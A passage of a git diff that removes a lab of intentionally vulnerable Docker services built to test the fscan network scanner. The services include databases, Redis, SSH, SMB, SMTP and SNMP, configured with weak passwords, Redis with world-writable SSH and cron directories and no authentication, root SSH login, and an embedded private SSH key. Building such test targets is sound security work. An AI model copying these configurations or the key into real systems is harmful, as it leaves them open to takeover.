b/fscan-lab/test-services/MSSQL/Dockerfile deleted file mode 100644 index ec801ba0..00000000 --- a/fscan-lab/test-services/MSSQL/Dockerfile +++ /dev/null @@ -1,14 +0,0 @@ -# 使用SQL Server官方镜像 -FROM mcr.microsoft.com/mssql/server:2022-latest - -# 设置环境变量 -ENV ACCEPT_EULA=Y -ENV MSSQL_SA_PASSWORD=P@ssword123 -ENV MSSQL_PID=Express - -# 开放1433端口 -EXPOSE 1433 - -# 健康检查 -HEALTHCHECK --interval=30s --timeout=3s \ - CMD /opt/mssql-tools/bin/sqlcmd -S localhost -U sa -P P@ssword123 -Q "SELECT 1" || exit 1 \ No newline at end of file diff --git a/fscan-lab/test-services/MSSQL/README.txt b/fscan-lab/test-services/MSSQL/README.txt deleted file mode 100644 index 0bcdce78..00000000 --- a/fscan-lab/test-services/MSSQL/README.txt +++ /dev/null @@ -1,5 +0,0 @@ -docker build -t mssql-server . -docker run -d \ - -p 1433:1433 \ - --name mssql-container \ - mssql-server \ No newline at end of file diff --git a/fscan-lab/test-services/Memcached/Dockerfile b/fscan-lab/test-services/Memcached/Dockerfile deleted file mode 100644 index e2d3e20e..00000000 --- a/fscan-lab/test-services/Memcached/Dockerfile +++ /dev/null @@ -1,11 +0,0 @@ -# 使用Memcached官方镜像 -FROM memcached:latest - -# 开放11211端口 -EXPOSE 11211 - -# 设置启动参数 -# -m 64: 分配64MB内存 -# -c 1024: 最大同时连接数1024 -# -v: 显示版本信息 -CMD ["memcached", "-m", "64", "-c", "1024", "-v"] \ No newline at end of file diff --git a/fscan-lab/test-services/Memcached/README.txt b/fscan-lab/test-services/Memcached/README.txt deleted file mode 100644 index 7047a326..00000000 --- a/fscan-lab/test-services/Memcached/README.txt +++ /dev/null @@ -1,5 +0,0 @@ -docker build -t memcached-server . -docker run -d \ - -p 11211:11211 \ - --name memcached-container \ - memcached-server \ No newline at end of file diff --git a/fscan-lab/test-services/Modbus/README.txt b/fscan-lab/test-services/Modbus/README.txt deleted file mode 100644 index d5938641..00000000 --- a/fscan-lab/test-services/Modbus/README.txt +++ /dev/null @@ -1 +0,0 @@ -docker run --rm -p 5020:5020 oitc/modbus-server:latest \ No newline at end of file diff --git a/fscan-lab/test-services/Mongodb/Dockerfile b/fscan-lab/test-services/Mongodb/Dockerfile deleted file mode 100644 index 4a1ee6e6..00000000 --- a/fscan-lab/test-services/Mongodb/Dockerfile +++ /dev/null @@ -1,13 +0,0 @@ -# 使用MongoDB官方镜像 -FROM mongo:latest - -# 设置环境变量 -ENV MONGO_INITDB_ROOT_USERNAME=admin -ENV MONGO_INITDB_ROOT_PASSWORD=123456 - -# 开放27017端口 -EXPOSE 27017 - -# 健康检查 -HEALTHCHECK --interval=30s --timeout=3s \ - CMD mongosh --eval 'db.runCommand("ping").ok' localhost:27017/test --quiet \ No newline at end of file diff --git a/fscan-lab/test-services/Mongodb/README.txt b/fscan-lab/test-services/Mongodb/README.txt deleted file mode 100644 index b75298c2..00000000 --- a/fscan-lab/test-services/Mongodb/README.txt +++ /dev/null @@ -1,5 +0,0 @@ -docker build -t mongodb-server . -docker run -d \ - -p 27017:27017 \ - --name mongodb-container \ - mongodb-server \ No newline at end of file diff --git a/fscan-lab/test-services/MySQL/Dockerfile b/fscan-lab/test-services/MySQL/Dockerfile deleted file mode 100644 index 0320f93a..00000000 --- a/fscan-lab/test-services/MySQL/Dockerfile +++ /dev/null @@ -1,17 +0,0 @@ -# 使用MySQL官方镜像 -FROM mysql:latest - -# 设置环境变量 -ENV MYSQL_ROOT_PASSWORD=Password -ENV MYSQL_DATABASE=mydb - -# 开放3306端口 -EXPOSE 3306 - -# MySQL配置 -# 允许远程访问 -COPY my.cnf /etc/mysql/conf.d/my.cnf - -# 健康检查 -HEALTHCHECK --interval=30s --timeout=3s \ - CMD mysql -uroot -p"${MYSQL_ROOT_PASSWORD}" -e "SELECT 1" || exit 1 \ No newline at end of file diff --git a/fscan-lab/test-services/MySQL/README.txt b/fscan-lab/test-services/MySQL/README.txt deleted file mode 100644 index dbd446dd..00000000 --- a/fscan-lab/test-services/MySQL/README.txt +++ /dev/null @@ -1,2 +0,0 @@ -docker build -t mysql-server . -docker run -d -p 3306:3306 --name mysql-container mysql-server \ No newline at end of file diff --git a/fscan-lab/test-services/MySQL/my.cnf b/fscan-lab/test-services/MySQL/my.cnf deleted file mode 100644 index ff1b64f7..00000000 --- a/fscan-lab/test-services/MySQL/my.cnf +++ /dev/null @@ -1,2 +0,0 @@ -[mysqld] -bind-address = 0.0.0.0 \ No newline at end of file diff --git a/fscan-lab/test-services/Neo4j/Dockerfile b/fscan-lab/test-services/Neo4j/Dockerfile deleted file mode 100644 index 979b03bb..00000000 --- a/fscan-lab/test-services/Neo4j/Dockerfile +++ /dev/null @@ -1,9 +0,0 @@ -FROM neo4j:4.4 - -ENV NEO4J_AUTH=neo4j/123456 -ENV NEO4J_dbms_security_procedures_unrestricted=apoc.* -ENV NEO4J_dbms_security_auth_enabled=true - -EXPOSE 7474 7687 - -CMD ["neo4j"] \ No newline at end of file diff --git a/fscan-lab/test-services/Neo4j/docker-compose.yml b/fscan-lab/test-services/Neo4j/docker-compose.yml deleted file mode 100644 index 7e2cd957..00000000 --- a/fscan-lab/test-services/Neo4j/docker-compose.yml +++ /dev/null @@ -1,11 +0,0 @@ -version: '3' -services: - neo4j: - image: neo4j:4.4 - ports: - - "7474:7474" - - "7687:7687" - environment: - - NEO4J_AUTH=neo4j/123456 - - NEO4J_dbms_security_auth_enabled=true - container_name: neo4j-weak \ No newline at end of file diff --git a/fscan-lab/test-services/Oracle/Dockerfile b/fscan-lab/test-services/Oracle/Dockerfile deleted file mode 100644 index 584fd6c8..00000000 --- a/fscan-lab/test-services/Oracle/Dockerfile +++ /dev/null @@ -1,13 +0,0 @@ -# 使用Oracle官方容器镜像 -FROM container-registry.oracle.com/database/express:21.3.0-xe - -# 设置环境变量 -ENV ORACLE_PWD=123456 -ENV ORACLE_CHARACTERSET=AL32UTF8 - -# 开放1521端口 -EXPOSE 1521 5500 - -# 健康检查 -HEALTHCHECK --interval=30s --timeout=30s --start-period=5m --retries=3 \ - CMD nc -z localhost 1521 || exit 1 \ No newline at end of file diff --git a/fscan-lab/test-services/Oracle/README.txt b/fscan-lab/test-services/Oracle/README.txt deleted file mode 100644 index 08cc3720..00000000 --- a/fscan-lab/test-services/Oracle/README.txt +++ /dev/null @@ -1,11 +0,0 @@ -首先需要在Oracle Container Registry网站注册并接受许可协议: -https://container-registry.oracle.com - -docker login container-registry.oracle.com - -docker build -t oracle-db . - -docker run -d \ - -p 1521:1521 \ - --name oracle-container \ - oracle-db \ No newline at end of file diff --git a/fscan-lab/test-services/POP3/Dockerfile b/fscan-lab/test-services/POP3/Dockerfile deleted file mode 100644 index b8c1b543..00000000 --- a/fscan-lab/test-services/POP3/Dockerfile +++ /dev/null @@ -1,64 +0,0 @@ -FROM ubuntu:20.04 - -# 避免交互式提示 -ENV DEBIAN_FRONTEND=noninteractive - -# 安装必要的包 -RUN apt-get update && apt-get install -y \ - dovecot-pop3d \ - openssl \ - && rm -rf /var/lib/apt/lists/* - -# 生成SSL证书 -RUN openssl req -x509 -nodes -days 365 -newkey rsa:2048 \ - -keyout /etc/ssl/private/dovecot.pem \ - -out /etc/ssl/certs/dovecot.pem \ - -subj "/C=US/ST=State/L=City/O=Organization/CN=localhost" - -# 配置Dovecot -RUN echo '\ -protocols = pop3\n\ -listen = *\n\ -ssl = yes\n\ -ssl_cert = /etc/dovecot/dovecot.conf - -# 创建密码文件 -RUN echo '\ -admin:{PLAIN}admin123\n\ -test:{PLAIN}test123\n\ -root:{PLAIN}root123\n\ -' > /etc/dovecot/passwd - -# 创建用户文件 -RUN echo '\ -admin:x:1000:1000::/home/admin:/bin/false\n\ -test:x:1001:1001::/home/test:/bin/false\n\ -root:x:1002:1002::/home/root:/bin/false\n\ -' > /etc/dovecot/users - -# 创建必要的目录和权限 -RUN mkdir -p /home/admin /home/test /home/root && \ - chown 1000:1000 /home/admin && \ - chown 1001:1001 /home/test && \ - chown 1002:1002 /home/root - -# 暴露端口 -EXPOSE 110 995 - -# 启动Dovecot -CMD ["dovecot", "-F"] \ No newline at end of file diff --git a/fscan-lab/test-services/POP3/README.txt b/fscan-lab/test-services/POP3/README.txt deleted file mode 100644 index 84ae03a5..00000000 --- a/fscan-lab/test-services/POP3/README.txt +++ /dev/null @@ -1,2 +0,0 @@ -docker build -t pop3-test . -docker run -d --name pop3-server -p 110:110 -p 995:995 pop3-test \ No newline at end of file diff --git a/fscan-lab/test-services/Postgre/Dockerfile b/fscan-lab/test-services/Postgre/Dockerfile deleted file mode 100644 index 5cc0085f..00000000 --- a/fscan-lab/test-services/Postgre/Dockerfile +++ /dev/null @@ -1,14 +0,0 @@ -# 使用PostgreSQL官方镜像 -FROM postgres:latest - -# 设置环境变量 -ENV POSTGRES_USER=postgres -ENV POSTGRES_PASSWORD=123456 -ENV POSTGRES_DB=mydb - -# 开放5432端口 -EXPOSE 5432 - -# 健康检查 -HEALTHCHECK --interval=30s --timeout=3s \ - CMD pg_isready -U postgres || exit 1 \ No newline at end of file diff --git a/fscan-lab/test-services/Postgre/README.md b/fscan-lab/test-services/Postgre/README.md deleted file mode 100644 index 69d98914..00000000 --- a/fscan-lab/test-services/Postgre/README.md +++ /dev/null @@ -1,5 +0,0 @@ -docker build -t postgres-server . -docker run -d \ --p 5432:5432 \ ---name postgres-container \ -postgres-server \ No newline at end of file diff --git a/fscan-lab/test-services/RabbitMQ/Dockerfile b/fscan-lab/test-services/RabbitMQ/Dockerfile deleted file mode 100644 index 88a38db3..00000000 --- a/fscan-lab/test-services/RabbitMQ/Dockerfile +++ /dev/null @@ -1,10 +0,0 @@ -FROM rabbitmq:3-management - -# 环境变量设置默认的用户名和密码 -ENV RABBITMQ_DEFAULT_USER=admin -ENV RABBITMQ_DEFAULT_PASS=123456 - -# 开放标准端口 -# 5672: AMQP 协议端口 -# 15672: HTTP API 端口和管理UI -EXPOSE 5672 15672 \ No newline at end of file diff --git a/fscan-lab/test-services/RabbitMQ/README.txt b/fscan-lab/test-services/RabbitMQ/README.txt deleted file mode 100644 index 02db0909..00000000 --- a/fscan-lab/test-services/RabbitMQ/README.txt +++ /dev/null @@ -1,2 +0,0 @@ -docker build -t rabbitmq-weak . -docker run -d --name rabbitmq-test -p 5672:5672 -p 15672:15672 rabbitmq-weak \ No newline at end of file diff --git a/fscan-lab/test-services/Redis/Dockerfile b/fscan-lab/test-services/Redis/Dockerfile deleted file mode 100644 index 2378361b..00000000 --- a/fscan-lab/test-services/Redis/Dockerfile +++ /dev/null @@ -1,35 +0,0 @@ -FROM redis:5.0.1 - -# 创建测试目录并设置权限 -RUN mkdir -p /root/.ssh && \ - mkdir -p /var/spool/cron && \ - mkdir -p /var/spool/cron/crontabs && \ - mkdir -p /var/www/html && \ - mkdir -p /etc/redis && \ - mkdir -p /tmp/test && \ - chmod 755 /root && \ - chmod -R 777 /root/.ssh && \ - chmod -R 777 /var/spool/cron && \ - chmod -R 777 /var/spool/cron/crontabs && \ - chmod -R 777 /var/www/html && \ - chmod -R 777 /etc/redis && \ - chmod -R 777 /tmp/test && \ - echo "测试目录已创建,可以写入" > /tmp/test/test.txt - -# 配置Redis允许远程连接和任意文件写入 -RUN echo "port 6379\n\ -bind 0.0.0.0\n\ -dir /data\n\ -dbfilename dump.rdb\n\ -protected-mode no\n\ -daemonize no\n\ -appendonly no\n\ -requirepass \"\"\n\ -" > /etc/redis/redis.conf - -WORKDIR /data - -EXPOSE 6379 - -# 启动Redis服务器 -CMD ["redis-server", "/etc/redis/redis.conf"] \ No newline at end of file diff --git a/fscan-lab/test-services/Redis/README.txt b/fscan-lab/test-services/Redis/README.txt deleted file mode 100644 index 8cd13132..00000000 --- a/fscan-lab/test-services/Redis/README.txt +++ /dev/null @@ -1,5 +0,0 @@ -docker build -t redis-server . -docker run -d \ - -p 6379:6379 \ - --name redis-container \ - redis-server \ No newline at end of file diff --git a/fscan-lab/test-services/Redis/docker-compose.yml b/fscan-lab/test-services/Redis/docker-compose.yml deleted file mode 100644 index c52ecefc..00000000 --- a/fscan-lab/test-services/Redis/docker-compose.yml +++ /dev/null @@ -1,18 +0,0 @@ -version: '3.8' -services: - redis: - build: . - container_name: redis_test - ports: - - "6379:6379" - volumes: - - redis-data:/data - networks: - - test-network - -networks: - test-network: - driver: bridge - -volumes: - redis-data: diff --git a/fscan-lab/test-services/Redis/redis.conf b/fscan-lab/test-services/Redis/redis.conf deleted file mode 100644 index 2b4f2c0a..00000000 --- a/fscan-lab/test-services/Redis/redis.conf +++ /dev/null @@ -1,5 +0,0 @@ -bind 0.0.0.0 -port 6379 -protected-mode no -dir /data -daemonize no \ No newline at end of file diff --git a/fscan-lab/test-services/Rsync/Dockerfile b/fscan-lab/test-services/Rsync/Dockerfile deleted file mode 100644 index de7bf05f..00000000 --- a/fscan-lab/test-services/Rsync/Dockerfile +++ /dev/null @@ -1,40 +0,0 @@ -FROM ubuntu:20.04 - -# 安装rsync -RUN apt-get update && \ - apt-get install -y rsync - -# 创建测试目录和用户 -RUN mkdir -p /data/public && \ - mkdir -p /data/secure && \ - useradd -m testuser && \ - echo "testuser:123456" | chpasswd - -# 配置文件 -RUN echo 'pid file = /var/run/rsyncd.pid' > /etc/rsyncd.conf && \ - echo 'log file = /var/log/rsyncd.log' >> /etc/rsyncd.conf && \ - echo 'transfer logging = yes' >> /etc/rsyncd.conf && \ - echo 'use chroot = yes' >> /etc/rsyncd.conf && \ - echo '[public]' >> /etc/rsyncd.conf && \ - echo 'path = /data/public' >> /etc/rsyncd.conf && \ - echo 'comment = Public Share' >> /etc/rsyncd.conf && \ - echo 'read only = yes' >> /etc/rsyncd.conf && \ - echo 'auth users = *' >> /etc/rsyncd.conf && \ - echo 'secrets file = /etc/rsyncd.secrets' >> /etc/rsyncd.conf && \ - echo '[anonymous]' >> /etc/rsyncd.conf && \ - echo 'path = /data/public' >> /etc/rsyncd.conf && \ - echo 'comment = Anonymous Share' >> /etc/rsyncd.conf && \ - echo 'read only = yes' >> /etc/rsyncd.conf && \ - echo 'auth users = ' >> /etc/rsyncd.conf - -# 创建密码文件(使用fscan默认字典能检测到的弱密码) -RUN echo 'root:123456' > /etc/rsyncd.secrets && \ - echo 'admin:admin' >> /etc/rsyncd.secrets && \ - echo 'backup:backup' >> /etc/rsyncd.secrets && \ - chmod 600 /etc/rsyncd.secrets - -# 暴露Rsync默认端口 -EXPOSE 873 - -# 启动rsync守护进程 -CMD ["rsync", "--daemon", "--no-detach", "--config=/etc/rsyncd.conf"] \ No newline at end of file diff --git a/fscan-lab/test-services/Rsync/README.txt b/fscan-lab/test-services/Rsync/README.txt deleted file mode 100644 index 62989553..00000000 --- a/fscan-lab/test-services/Rsync/README.txt +++ /dev/null @@ -1,2 +0,0 @@ -docker build -t rsync-test . -docker run -d --name rsync-server -p 873:873 rsync-test \ No newline at end of file diff --git a/fscan-lab/test-services/Rsync/docker-compose.yml b/fscan-lab/test-services/Rsync/docker-compose.yml deleted file mode 100644 index 978f27fc..00000000 --- a/fscan-lab/test-services/Rsync/docker-compose.yml +++ /dev/null @@ -1,9 +0,0 @@ -version: '3.8' - -services: - rsync: - build: . - ports: - - "873:873" - container_name: rsync_test - restart: unless-stopped \ No newline at end of file diff --git a/fscan-lab/test-services/SMB/Dockerfile b/fscan-lab/test-services/SMB/Dockerfile deleted file mode 100644 index a2de7654..00000000 --- a/fscan-lab/test-services/SMB/Dockerfile +++ /dev/null @@ -1,52 +0,0 @@ -FROM ubuntu:20.04 - -# 安装 Samba 服务 -RUN apt-get update && \ - DEBIAN_FRONTEND=noninteractive apt-get install -y \ - samba \ - samba-common-bin \ - && rm -rf /var/lib/apt/lists/* - -# 创建共享目录 -RUN mkdir -p /shared/documents /shared/backups - -# 创建 Samba 用户 (弱密码账户用于渗透测试) -RUN useradd -M -s /sbin/nologin printer && \ - (echo 'printer123'; echo 'printer123') | smbpasswd -s -a printer && \ - useradd -M -s /sbin/nologin administrator && \ - (echo 'admin123'; echo 'admin123') | smbpasswd -s -a administrator && \ - useradd -M -s /sbin/nologin admin && \ - (echo 'admin'; echo 'admin') | smbpasswd -s -a admin && \ - useradd -M -s /sbin/nologin guest && \ - (echo 'guest'; echo 'guest') | smbpasswd -s -a guest - -# 配置 Samba -RUN printf '[global]\n\ - workgroup = WORKGROUP\n\ - server string = Office Printer Server\n\ - security = user\n\ - map to guest = Never\n\ - dns proxy = no\n\ - passdb backend = tdbsam\n\ -\n\ -[print$]\n\ - comment = Printer Drivers Share\n\ - path = /shared/documents\n\ - browseable = yes\n\ - read only = no\n\ - guest ok = no\n\ - valid users = printer administrator admin guest\n\ -\n\ -[backup]\n\ - comment = Printer Backup Files\n\ - path = /shared/backups\n\ - browseable = yes\n\ - read only = no\n\ - guest ok = no\n\ - valid users = printer administrator admin guest\n' > /etc/samba/smb.conf - -# 开放 SMB 端口 -EXPOSE 139 445 - -# 启动 Samba 服务 -CMD ["smbd", "--foreground", "--no-process-group"] diff --git a/fscan-lab/test-services/SMTP/Dockerfile b/fscan-lab/test-services/SMTP/Dockerfile deleted file mode 100644 index 91ea8a72..00000000 --- a/fscan-lab/test-services/SMTP/Dockerfile +++ /dev/null @@ -1,51 +0,0 @@ -FROM ubuntu:20.04 - -ENV DEBIAN_FRONTEND=noninteractive - -# 安装必要的软件 -RUN apt-get update && apt-get install -y \ - postfix \ - sasl2-bin \ - libsasl2-modules \ - mailutils \ - rsyslog \ - && rm -rf /var/lib/apt/lists/* - -# 配置Postfix -RUN postconf -e 'smtpd_sasl_auth_enable = yes' \ - && postconf -e 'smtpd_sasl_security_options = noanonymous' \ - && postconf -e 'smtpd_sasl_local_domain =' \ - && postconf -e 'broken_sasl_auth_clients = yes' \ - && postconf -e 'smtpd_recipient_restrictions = permit_sasl_authenticated,permit_mynetworks,reject_unauth_destination' \ - && postconf -e 'inet_interfaces = all' - -# 配置SASL -RUN mkdir -p /etc/postfix/sasl/ -RUN echo "pwcheck_method: auxprop" > /etc/postfix/sasl/smtpd.conf \ - && echo "auxprop_plugin: sasldb" >> /etc/postfix/sasl/smtpd.conf \ - && echo "mech_list: PLAIN LOGIN" >> /etc/postfix/sasl/smtpd.conf - -# 创建SASL用户(使用固定域名localhost) -RUN echo "123456" | saslpasswd2 -p -c -u localhost test -RUN echo "admin123" | saslpasswd2 -p -c -u localhost admin -RUN echo "root123" | saslpasswd2 -p -c -u localhost root - -# 设置权限 -RUN chown postfix:postfix /etc/sasldb2 - -# 创建日志目录和文件 -RUN mkdir -p /var/log && \ - touch /var/log/mail.log && \ - chmod 644 /var/log/mail.log - -# 开放端口 -EXPOSE 25 - -# 创建启动脚本 -RUN echo '#!/bin/bash' > /start.sh \ - && echo 'service rsyslog start' >> /start.sh \ - && echo 'service postfix start' >> /start.sh \ - && echo 'tail -f /var/log/mail.log' >> /start.sh \ - && chmod +x /start.sh - -CMD ["/start.sh"] \ No newline at end of file diff --git a/fscan-lab/test-services/SMTP/README.txt b/fscan-lab/test-services/SMTP/README.txt deleted file mode 100644 index f2ee0b93..00000000 --- a/fscan-lab/test-services/SMTP/README.txt +++ /dev/null @@ -1,2 +0,0 @@ -docker build -t smtp-weak . -docker run -d --name smtp-test -p 25:25 smtp-weak \ No newline at end of file diff --git a/fscan-lab/test-services/SMTP/docker-compose.yml b/fscan-lab/test-services/SMTP/docker-compose.yml deleted file mode 100644 index acc4c77f..00000000 --- a/fscan-lab/test-services/SMTP/docker-compose.yml +++ /dev/null @@ -1,9 +0,0 @@ -version: '3.8' - -services: - smtp: - build: . - ports: - - "25:25" - container_name: smtp_test - restart: unless-stopped \ No newline at end of file diff --git a/fscan-lab/test-services/SMTP/start.sh b/fscan-lab/test-services/SMTP/start.sh deleted file mode 100644 index c9146aea..00000000 --- a/fscan-lab/test-services/SMTP/start.sh +++ /dev/null @@ -1,3 +0,0 @@ -#!/bin/bash -service postfix start -tail -f /var/log/mail.log \ No newline at end of file diff --git a/fscan-lab/test-services/SNMP/Dockerfile b/fscan-lab/test-services/SNMP/Dockerfile deleted file mode 100644 index efb84b64..00000000 --- a/fscan-lab/test-services/SNMP/Dockerfile +++ /dev/null @@ -1,23 +0,0 @@ -FROM ubuntu:20.04 - -# 安装SNMP服务 -RUN apt-get update && \ - DEBIAN_FRONTEND=noninteractive apt-get install -y snmpd && \ - rm -rf /var/lib/apt/lists/* - -# 备份原配置 -RUN cp /etc/snmp/snmpd.conf /etc/snmp/snmpd.conf.orig - -# 创建新的配置文件 -RUN echo "rocommunity public default" > /etc/snmp/snmpd.conf && \ - echo "rocommunity private default" >> /etc/snmp/snmpd.conf && \ - echo "rocommunity cisco default" >> /etc/snmp/snmpd.conf && \ - echo "rocommunity community default" >> /etc/snmp/snmpd.conf && \ - # 允许从任何地址访问 - echo "agentAddress udp:161,udp6:[::1]:161" >> /etc/snmp/snmpd.conf - -# 开放SNMP端口 -EXPOSE 161/udp - -# 启动SNMP服务 -CMD ["snmpd", "-f", "-Lo", "-C", "-c", "/etc/snmp/snmpd.conf"] \ No newline at end of file diff --git a/fscan-lab/test-services/SNMP/README.txt b/fscan-lab/test-services/SNMP/README.txt deleted file mode 100644 index 64152128..00000000 --- a/fscan-lab/test-services/SNMP/README.txt +++ /dev/null @@ -1,2 +0,0 @@ -docker build -t snmp-weak . -docker run -d --name snmp-test -p 161:161/udp snmp-weak \ No newline at end of file diff --git a/fscan-lab/test-services/SNMP/docker-compose.yml b/fscan-lab/test-services/SNMP/docker-compose.yml deleted file mode 100644 index ae076729..00000000 --- a/fscan-lab/test-services/SNMP/docker-compose.yml +++ /dev/null @@ -1,9 +0,0 @@ -version: '3.8' - -services: - snmp: - build: . - ports: - - "161:161/udp" - container_name: snmp_test - restart: unless-stopped \ No newline at end of file diff --git a/fscan-lab/test-services/SSH/Dockerfile b/fscan-lab/test-services/SSH/Dockerfile deleted file mode 100644 index 15861bdc..00000000 --- a/fscan-lab/test-services/SSH/Dockerfile +++ /dev/null @@ -1,62 +0,0 @@ -# 使用Ubuntu最新版本作为基础镜像 -FROM ubuntu:latest - -# 安装必要的软件包(SSH服务 + 常用渗透工具) -RUN apt-get update && apt-get install -y \ - openssh-server \ - telnet \ - curl \ - wget \ - netcat-traditional \ - net-tools \ - iputils-ping \ - dnsutils \ - vim \ - && rm -rf /var/lib/apt/lists/* - -# 创建SSH所需的目录 -RUN mkdir /var/run/sshd - -# 允许root用户SSH登录并设置密码 -RUN sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /etc/ssh/sshd_config -RUN echo 'root:Aa123456789' | chpasswd - -# 创建多个弱密码用户(匹配fscan默认字典) -RUN useradd -m admin && echo 'admin:admin' | chpasswd && \ - useradd -m test && echo 'test:123456' | chpasswd && \ - useradd -m user && echo 'user:password' | chpasswd && \ - echo 'root:root' | chpasswd - -# 配置密钥认证用户(ubuntu用户已存在于Ubuntu镜像中) -RUN mkdir -p /home/ubuntu/.ssh && \ - chmod 700 /home/ubuntu/.ssh - -# 复制SSH测试密钥 -COPY test_key.pub /home/ubuntu/.ssh/authorized_keys -COPY test_key_root.pub /root/.ssh/authorized_keys - -# 设置密钥权限 -RUN chmod 600 /home/ubuntu/.ssh/authorized_keys && \ - chown -R ubuntu:ubuntu /home/ubuntu/.ssh && \ - mkdir -p /root/.ssh && chmod 700 /root/.ssh && \ - chmod 600 /root/.ssh/authorized_keys - -# 下载并安装 frp 服务端 (v0.65.0) -RUN wget -q https://github.com/fatedier/frp/releases/download/v0.65.0/frp_0.65.0_linux_amd64.tar.gz && \ - tar -xzf frp_0.65.0_linux_amd64.tar.gz && \ - mv frp_0.65.0_linux_amd64/frps /usr/local/bin/frps && \ - chmod +x /usr/local/bin/frps && \ - rm -rf frp_0.65.0_linux_amd64* - -# 创建 frp 配置目录 -RUN mkdir -p /etc/frp - -# 开放22端口(SSH)和7000端口(FRP) -EXPOSE 22 7000 - -# 复制并设置启动脚本 -COPY entrypoint.sh /entrypoint.sh -RUN chmod +x /entrypoint.sh - -# 使用启动脚本(自动修复SSH密钥权限) -ENTRYPOINT ["/entrypoint.sh"] \ No newline at end of file diff --git a/fscan-lab/test-services/SSH/README.txt b/fscan-lab/test-services/SSH/README.txt deleted file mode 100644 index ee1d95c5..00000000 --- a/fscan-lab/test-services/SSH/README.txt +++ /dev/null @@ -1,2 +0,0 @@ -docker build -t ubuntu-ssh . -docker run -d -p 2222:22 ubuntu-ssh \ No newline at end of file diff --git a/fscan-lab/test-services/SSH/docker-compose.yml b/fscan-lab/test-services/SSH/docker-compose.yml deleted file mode 100644 index 06b5b0eb..00000000 --- a/fscan-lab/test-services/SSH/docker-compose.yml +++ /dev/null @@ -1,21 +0,0 @@ -version: '3.8' - -services: - ssh: - build: . - container_name: ssh_test - hostname: ssh-target - ports: - - "2222:22" # 映射到宿主机2222端口 - networks: - - test-network - restart: unless-stopped - stdin_open: true - tty: true - -networks: - test-network: - driver: bridge - -# 注意:不使用volumes挂载.ssh目录(会导致权限问题) -# authorized_keys在构建时COPY进镜像 diff --git a/fscan-lab/test-services/SSH/entrypoint.sh b/fscan-lab/test-services/SSH/entrypoint.sh deleted file mode 100644 index 180b8e7f..00000000 --- a/fscan-lab/test-services/SSH/entrypoint.sh +++ /dev/null @@ -1,12 +0,0 @@ -#!/bin/bash -# 修复SSH密钥权限(Docker volume在Windows上挂载时默认777) -if [ -f /root/.ssh/authorized_keys ]; then - chmod 600 /root/.ssh/authorized_keys - chown root:root /root/.ssh/authorized_keys -fi - -# 确保.ssh目录权限正确 -chmod 700 /root/.ssh - -# 启动SSH服务 -exec /usr/sbin/sshd -D diff --git a/fscan-lab/test-services/SSH/test_key b/fscan-lab/test-services/SSH/test_key deleted file mode 100644 index 89b0bab2..00000000 --- a/fscan-lab/test-services/SSH/test_key +++ /dev/null @@ -1,27 +0,0 @@ ------BEGIN OPENSSH PRIVATE KEY----- -b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn -NhAAAAAwEAAQAAAQEA5SPgB8mqgvEZcjADVHhQqAOl3w/sND8SJtupUq9HmGOvlQH1Fcsi -Nu4vT9aD+GzW1EpTrmAxJJ3uuGQ9aFsDamNkk0FIFL1nHeKzktWX/qiG175Yn9PKZJ6IzW -2B+5W+VD5m81iWs++UhzyGoxYu9F75XaOgYj3P8v6xUoZrqJz5pTcr9v4xPXXw+eFPDfdT -/sqlkctu8gHkt2DoUgpt8RNNXwJrjju9cTgOykzuC+OWPQHTl+OdLj+32Aj7FWjvtjmaI7 -vZtXnWUyGntEQKwXTa1Ou95bCMviisi0FVO5NwDcINl7SaO3wTvmINA2EUBT9jM73SiLt3 -npTFPYxEvQAAA8j4I37D+CN+wwAAAAdzc2gtcnNhAAABAQDlI+AHyaqC8RlyMANUeFCoA6 -XfD+w0PxIm26lSr0eYY6+VAfUVyyI27i9P1oP4bNbUSlOuYDEkne64ZD1oWwNqY2STQUgU -vWcd4rOS1Zf+qIbXvlif08pknojNbYH7lb5UPmbzWJaz75SHPIajFi70Xvldo6BiPc/y/r -FShmuonPmlNyv2/jE9dfD54U8N91P+yqWRy27yAeS3YOhSCm3xE01fAmuOO71xOA7KTO4L -45Y9AdOX450uP7fYCPsVaO+2OZoju9m1edZTIae0RArBdNrU673lsIy+KKyLQVU7k3ANwg -2XtJo7fBO+Yg0DYRQFP2MzvdKIu3eelMU9jES9AAAAAwEAAQAAAQAQHDxbV9Cy+aAUIO+P -ABGNqon+O6icCMYuMLoAK/4w5utYouVYJarPaWIurxKixAY7sUkeZLl3zVnUIYoWvPVpxL -i0yL14ZdOq7H47J+TSnQc0AnhJLnMXrXTJWrZtmZri4etLlzIrTwAmnPkLXNsqx8WpEYDM -f3OQLluJxZUqqtKgCThjHl6rnkPW8XtChtjhTijRk06Y2kq5Z2mpBe6+g5vn+01FYZmm/w -pNJevNT0sUhORgtprNi1xYqTimGjTn4Jum6xVPQme9ZDkjMy/gNYomzdJ1PVdXig3GLKuK -T9UXZAAvUYuRWmVWRtKqo94PvzfkwzOMTFXlrE1jY+2ZAAAAgE1d6wc5wC1iw/39SQzFS2 -SCtvToMyIYA+hG2O+jtqLG1dEZB1gd8Cy201RHS2z3ohm7lRzJ33QPs0HrKoa/WqhGi4N6 -zM8GQrBXhEytdAz99ewqgiKUxvNo6hQ1/ro6HeWK7/reQ2fHd36x00FisOcrsYjPm5Kfqc -hFxWc2ZKkeAAAAgQD/ttb4YyZrv6TYS1cchDhu6GoSjd+hXLSs8rTDruxMVIWBKBCIgksM -FjQVaaS/Du6dbIuxUZLboqqfX+HWoxE71hbsSPakuKeOImGBQAGMmL+TCt3EvHhCrWhAT4 -9KMvPPzt1NXzrUXkfM9s3wiB2pO1GDP/nmAzCKcZnEoiY6yQAAAIEA5WVuuG1QBptV+yCA -GizYhsStGW0dQSZps4ObEbWLSf3fdZgCDeZgOYnB4nL+KcfS4QSTsl+06dEh9N510ukNLy -tRv94zr7mnLrbX30KWE5NfEz1TgRFXQjl0P5tiY1E3x0p8fbMC3rfif2JbGPESys0xDRvG -r0EkhWtqz4KkwFUAAAAOZnNjYW4tdGVzdC1rZXkBAgMEBQ== ------END OPENSSH PRIVATE KEY----- diff --git a/fscan-lab/test-services/SSH/test_key.pub b/fscan-lab/test-services/SSH/test_key.pub deleted file mode 100644 index ca919538..00000000 --- a/fscan-lab/test-services/SSH/test_key.pub +++ /dev/null @@ -1 +0,0 @@ -ssh-rsa 